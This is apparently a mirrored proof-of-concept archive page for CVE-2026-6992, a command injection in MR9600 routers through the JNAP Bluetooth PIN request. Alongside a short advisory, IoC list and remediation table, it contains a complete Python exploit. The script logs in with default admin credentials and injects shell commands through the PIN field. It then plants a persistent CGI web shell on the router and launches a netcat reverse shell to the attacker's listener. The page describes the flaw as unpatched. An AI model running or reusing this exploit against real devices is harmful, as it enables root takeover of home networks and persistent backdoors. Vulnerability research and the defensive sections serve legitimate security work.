PoC Archive PoC Archive
High CVE-2026-6992 unpatched

MR9600 Router Bluetooth/JNAP Management Interface RCE Injection (CVE-2026-6992)

by nicholas-howland (reworked from utmost3's original finding) · 2026-07-05

Severity
High
CVE
CVE-2026-6992
Category
network
Affected product
MR9600 router (Bluetooth-capable administrative interface)
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchernicholas-howland (reworked from utmost3’s original finding)
CVE / AdvisoryCVE-2026-6992
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsrouter, bluetooth, jnap, command-injection, iot, rce
RelatedN/A

Affected Target

FieldValue
Software / SystemMR9600 router (Bluetooth-capable administrative interface)
Versions AffectedNot specified in source
Language / PlatformPython PoC
Authentication RequiredOptional (defaults to admin/admin if not supplied)
Network Access RequiredYes (HTTP/HTTPS to router’s administrative interface) + Bluetooth PIN-based vector

Summary

MR9600 routers with Bluetooth management capability expose a vulnerable JNAP request path that allows command injection via the Bluetooth PIN configuration flow, enabling an attacker to execute arbitrary commands on the router. The PoC reverses the original researcher’s public issue writeup into a working exploit script targeting the router’s administrative interface.


Vulnerability Details

Root Cause

The router’s JNAP request handler for Bluetooth PIN/management configuration does not properly sanitize attacker-supplied input before using it in a privileged command context.

Attack Vector

  1. Reach the target router’s administrative interface (default or supplied credentials).
  2. Send a crafted JNAP request through the Bluetooth PIN configuration path containing a command-injection payload.
  3. The router executes the injected command, and the PoC establishes a reverse listener to receive the resulting shell/callback.

Impact

An attacker with access to the router’s management interface can achieve command execution on devices with Bluetooth management capability enabled.


Environment / Lab Setup

Target:   MR9600 router with Bluetooth management interface reachable
Attacker: Python 3, a listener host/port reachable from the target router

Proof of Concept

PoC Script

See CVE-2026-6992-PoC.py in this folder.

1
python3 CVE-2026-6992-PoC.py -ti <target-ip> -lp <listen-port> -li <listen-ip> [-u admin] [-p admin]

Sends the crafted JNAP request via the Bluetooth PIN management path and establishes a callback to the attacker’s listener to confirm command execution.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected outbound connections from the router to unfamiliar listener IPs/ports
  • JNAP requests containing shell metacharacters in Bluetooth-related fields

Remediation

ActionDetail
Primary fixApply vendor firmware update addressing the JNAP command-injection path once available
Interim mitigationDisable Bluetooth management capability on the router if not required; restrict administrative interface access to trusted networks

References


Notes

Mirrored from https://github.com/nicholas-howland/CVE-2026-6992-PoC on 2026-07-05.

CVE-2026-6992-PoC.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/env python3.13
import base64
import json
import sys
import time
import urllib.error
import urllib.request
import argparse
# must be imported to ignore self signed certificates so that https can be used
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# Argument parsing handlers
parser = argparse.ArgumentParser()
parser.add_argument("-ti", "--targetIP", help="Target IP address of the vulnerable router",required=True)
parser.add_argument("-tp", "--targetPort", help="Listening port for the administrative interface, defualts to 80")
parser.add_argument("-lp", "--listenPort", help="Listening port on the testers machine",required=True)
parser.add_argument("-li", "--listenIP", help="IP address that is listening, usually 192.168.1.1",required=True)
parser.add_argument("-u", "--username", help="Administrator username to be used, defaults to admin")
parser.add_argument("-p", "--password", help="Password for the administrator account, defaults to admin")
parser.add_argument("-s", "--https", action='store_true',help="Use https instead of http, http is most common listening protocol on MR9600")
args = parser.parse_args()

## set target port in the URL
if(args.targetPort!=""):
    TARGET = args.targetIP+":"+args.targetPort
else:
    TARGET = args.targetIP

## set protocol to be used default is https
if(args.https):
    TARGET="https://"+TARGET
else:
    TARGET="http://"+TARGET

## if username is not set set to the default of admin
if args.username != "":
    USER = args.username
else:
    USER = "admin"

## if password is not set set to the default of admin
if args.password != "":
    PASSWORD = args.password
else:
    PASSWORD = "admin"

# set static variubles based on information provided by flags
LHOST = args.listenIP
LPORT = args.listenPort
TIMEOUT = 10
UI = "1.0.99.206937"

## Set the endpoints that linksys uses for this particular vulnerablity
GET_MODE = "http://linksys.com/jnap/nodes/smartmode/GetDeviceMode"
SET_MODE = "http://linksys.com/jnap/nodes/smartmode/SetDeviceMode"
EXPLOIT = "http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectPIN"

JNAP = TARGET + "/JNAP/"
SHELL_FS = f"/www/ui/{UI}/static/shell.cgi"
SHELL_URL = f"{TARGET}/ui/{UI}/static/shell.cgi"
#SHELL_FS = f"/www/shell.cgi" # alternate shell locations that I know will resolve correctly
#SHELL_URL = f"{TARGET}/shell.cgi" # alternate shell URL
AUTH = "Basic " + base64.b64encode(f"{USER}:{PASSWORD}".encode()).decode()

## request http/https webpage
def http(url, data=None, headers=None):
    req = urllib.request.Request(url, data=data, headers=headers or {})
    with urllib.request.urlopen(req,context=ctx, timeout=TIMEOUT) as r:
        return r.read()

## JNAP handling
def jnap(action, payload):
    headers = {
        "X-JNAP-Action": action,
        "X-JNAP-Authorization": AUTH,
        "Content-Type": "application/json; charset=UTF-8",
    }
    for i in headers: print(i+" "+headers[i]);
    body = json.dumps(payload).encode()
    print(payload)
#    print("using action: "+action)
    try:
        raw = http(JNAP, body, headers)
#        print(raw)
    except urllib.error.HTTPError as e:
        raw = e.read()
    return json.loads(raw.decode())

## Send it
def send_payload(cmd):
    ret = jnap(EXPLOIT, {'pin': "a; " + cmd + "; #"})
    if ret.get("result") != "OK":
        raise RuntimeError(ret)

## Ensure the device is in the master mode otherwise return debug information
def ensure_master():
    ret = jnap(GET_MODE, {})
    print(ret)
    mode = ret["output"]["mode"]
    print("[*] Current mode:", mode)
    if mode != "Master":
        ret = jnap(SET_MODE, {"mode": "Master"})
        if ret.get("result") != "OK":
            raise RuntimeError(ret)
        time.sleep(1)

## Stage the shell using the location variubles provided at the beginning
## of this POC
def stage_shell():
    lines = [
        "#!/bin/sh",
        "echo Content-Type: text/plain",
        "echo",
        "IFS= read -r cmd",
        '/bin/sh -c "$cmd" 2>&1',
    ]
    cmd = []
    for i, line in enumerate(lines):
        cmd.append(f"echo '{line}' {'>' if i == 0 else '>>'}{SHELL_FS}")
    cmd.append(f"chmod +x {SHELL_FS}")
    send_payload("; ".join(cmd))
    time.sleep(1)

## Run the shell
def run_shell(cmd):
    try:
        return http(SHELL_URL, cmd.encode(), {"Content-Type": "text/plain"}).decode(errors="replace")
    except TimeoutError:
        return ""

## Execute code in main
def main():
    try:
        ensure_master()
        stage_shell()
        if "root" not in run_shell("busybox whoami"):
            raise RuntimeError("helper shell failed")

        reverse = (
            "rm -f /tmp/.btsh; "
            "mkfifo /tmp/.btsh; "
            f"/bin/sh -i </tmp/.btsh 2>&1 | /usr/bin/nc {LHOST} {LPORT} >/tmp/.btsh &"
        )
        run_shell(reverse)
        print(f"[*] Reverse shell sent to {LHOST}:{LPORT}")
    except Exception as e:
        print("[!]", e, file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()